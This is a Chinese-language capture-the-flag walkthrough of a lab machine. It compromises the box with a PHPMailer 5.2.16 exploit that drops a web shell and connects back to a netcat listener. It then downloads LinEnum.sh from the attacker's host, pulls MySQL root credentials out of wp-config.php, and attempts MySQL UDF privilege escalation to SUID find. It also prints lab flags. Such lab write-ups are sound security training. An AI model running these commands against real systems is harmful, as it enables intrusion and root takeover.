各处功能点都点了点,除了一个登录界面也没有发现什么有用的信息
dirsearch -u http://192.168.179.161/
可以看到这边信息泄露的还是挺多了,下面就需要细心的去挨个查看这些目录了
找到flag1并且获取到网站根目录所在位置
然后我们查看该目录下的readme文件,看该目录到底是干嘛的
第一次见到phpmail,百度一下
然后查询该服务是否存在漏洞
好了,下面的目的就很清楚了,搞清楚phpmailer的版本,确定适用于哪个漏洞利用就可以了
searchsploit PHPMailer 5.2.16
locate php/webapps/40974.py
scp usr/share/exploitdb/exploits/php/webapps/40974.py /tmp
cd /tmp
ls -al
vim 40974.py
我按照它这个说明是执行不成功的,后来各种改了一下
这个加在最前面
#!/usr/bin/python
# -*- coding: utf-8 -*-
#####
因为有很多备注所以防止出现各种乱码
第二个就是修改target的IP地址,我一开始只是简单将IP地址改好后续怎么试都不行,后续进行多次尝试,因为phpmailer还是跟邮件服务相关嘛,所以就在contact.php页面输入信息并利用burpsuit抓包查看,看到了重定向信息
所以需要将target改为:http://192.168.179.161/contact.php
第三是将/backdoor.php改为shell.php(不能用默si字,但是我尝试别的名字的时候也不生效不知道为什么)
第四需要将目录信息中的/backdoor.php也改为shell.php
最后记得将攻击机的IP地址以及端口号改为kali的IP地址以及将要监听的端口号
直接在kali 中执行该脚本
python3 40974.py
nc -lvnp 1234
####
然后先访问http://192.168.179.161/contact.php
然后访问http://192.168.179.161/shell.php
python -c "import pty;pty.spawn('/bin/bash')"
cd /home
ls -al
cd michael
ls -al
cd steven
ls -al
cd /root
###
建立交互式shell
查看家目录下还有哪些用户
进入一个普通用户并查看该目录下有哪些文件(没有flag)
进入另一个用户目录
没有文件
尝试进入root目录没有权限
cd /var/www/html
find / -name "flag*"
cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
flag3是一个png文件也就是图片,所以我们在浏览器上查看
http://192.168.179.161/wordpress/wp-content/uploads/2018/11/flag3.png
cd /var/www/html/wordpress
ls -al
cat wp-config.php
######
username:root
password:R@v3nSecurity
这次我们用的脚本是LinEnum.sh(需要下载):它可以从内核信息到定位可能的升级点(包括可能有用的SUID / GUID文件以及Sudo / rhost错误配置等等),都可以得到任何信息
python -m SimpleHTTPServer 8000 #kali起http服务
wget http://192.168.179.145:8000/LinEnum.sh #目标主机下载到本地
chmod +x LinEnum.sh #给执行权限
./LinEnum.sh #执行
这个脚本搜集的信息还是比较全面的,你如果仔细看的话可以发现几乎每一条信息都是我们要去搜集的,所以这就帮我们省了很多事,只需要耐心的去查看就好了
mysql -u root -p
R@v3nSecurity
在本地编译好是防止目标主机上没有gcc环境
locate linux/local/1518.c
scp /usr/share/exploitdb/exploits/linux/local/1518.c /tmp
gcc -g -c 1518.c
gcc -g -shared -o raptor_udf.so 1518.o -lc
下载到目标主机
mysql -u root -p
R@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
create function do_system returns integer soname 'raptor_udf.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
exit
touch finn
id
find finn -exec "/bin/sh" \;
id
后续本来就是执行数据库语句给调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令。但是我这边不知道是环境原因还是什么就是报错,我暂时还解决不了,就先到这吧
https://blog.csdn.net/goujingya/article/details/101620193
https://www.cnblogs.com/backlion/p/10339299.html
https://blog.csdn.net/adminuil/article/details/103981106